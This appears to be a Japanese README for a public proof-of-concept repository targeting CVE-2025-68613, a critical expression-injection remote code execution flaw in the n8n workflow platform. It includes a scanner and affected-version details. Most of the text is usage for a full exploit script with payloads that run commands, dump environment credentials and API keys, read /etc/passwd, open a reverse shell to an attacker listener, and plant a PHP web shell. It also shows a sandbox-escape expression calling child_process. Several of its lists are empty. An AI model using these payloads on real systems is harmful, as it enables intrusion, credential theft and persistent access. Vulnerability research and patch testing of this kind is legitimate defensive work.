
CVE-2025-68613 のパブリック PoC + スキャナとリサーチ: n8n ワークフローオートメーションにおける式インジェクションによる重大な RCE (CVSS 10.0)。検出ツール、完全なエクスプロイト、および修復ガイダンスが含まれます。

CVE-2025-68613 は、人気のオープンソースワークフロー自動化プラットフォームである n8n で発見された 重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性により、認証済みユーザーがサーバー上で任意のコードを実行でき、システム全体が侵害される可能性があります。
n8n はオープンソースのワークフロー自動化プラットフォームであり、ユーザーは以下のことが可能です:
組織は n8n を以下の目的で使用します:
IT インフラにおけるこの中心的な役割により、脆弱性は特に危険です。攻撃者にネットワーク全体や機密データへのアクセスを提供する可能性があるためです。
このリポジトリには、脆弱性の検出と悪用テストのためのすぐに使えるツールが含まれています:
cve-2025-68613-scanner.py目的: 脆弱な n8n インスタンスを悪用しない安全な検出
特徴:
使用方法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- 終了コード 0: 脆弱性なし
- 終了コード 1: バージョン特定不能(パッチ適用済みまたは非表示の可能性)
- 終了コード 2: 脆弱なバージョンを検出
### 2. Nuclei テンプレート: `CVE-2025-68613.yaml`
**目的**: 自動的な脆弱性検出と基本的な式評価テスト
**機能**:
- 有効な認証トークンが必要です
- 式インジェクションの実行可能性をテストします
- Node.js のグローバルコンテキスト(process.platform)の読み取りを試みます
- RCE ベクターを検証するテストワークフローを作成します
- CVSS 10.0 Critical の重大度分類
**使用法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.py目的: 複数の攻撃ペイロードを備えた完全な概念実証エクスプロイト
特徴:
要件:
インストール:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**使用例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
しくみ:
this.constructor.constructor() を使用して式サンドボックスを突破するprocess.platform やその他の Node.js API を介してペイロードを実行する終了コード:
簡単に言うと: n8n では、ユーザーがワークフロー内で式を使用してデータを動的に処理できます。しかし、これらの式は適切なサンドボックス化なしに評価されるため、攻撃者は意図された実行コンテキストを突破して、サーバー上で任意のコードを実行できます。
n8n でワークフローを作成するとき、「式」を使用してデータを操作できます。これらの式は制限された環境で実行されることになっています。しかし、この脆弱性により、これらの式が基盤となるシステムにアクセスでき、攻撃者は以下を行うことができます:
ユーザーが n8n でワークフローを作成すると、式を使用してデータを処理できます:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### ステップ2: 式インジェクション
攻撃者は、意図されたサンドボックスから脱出する悪意のある式を作成します:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
式は適切な分離なしに評価され、攻撃者は以下のことが可能になります:
この脆弱性は、式評価エンジンにおける不十分なサンドボックス化に起因します。n8nチームは、以下のようなコンテキストで式を評価していました:
require() または類似のモジュールロード関数へのアクセスを許可していたUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## 影響を受けるバージョン
### 脆弱性のある範囲
**0.211.0** 以降のすべての n8n バージョンで、以下のバージョンまでが脆弱です:
- `0.211.0` → `1.120.3`
- `1.121.0`
### パッチ適用済みバージョン
この脆弱性は以下で修正されています:
- ✅ `1.120.4` および 1.120.x ブランチのそれ以降
- ✅ `1.121.1` および 1.121.x ブランチのそれ以降
- ✅ `1.122.0` およびすべての新しいバージョン
### 自分のバージョンを確認する方法```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run エンドポイントは v1.121.0 で HTTP 500 エラーを返します
このエクスプロイトは、NVDに文書化された脆弱性の範囲に対して動作するように設計されています:
この範囲外のバージョンに対してテストする場合、成功は保証されません。
認証されたユーザー(または有効な認証情報を持つ攻撃者)がこの脆弱性を悪用すると、次のことが可能です: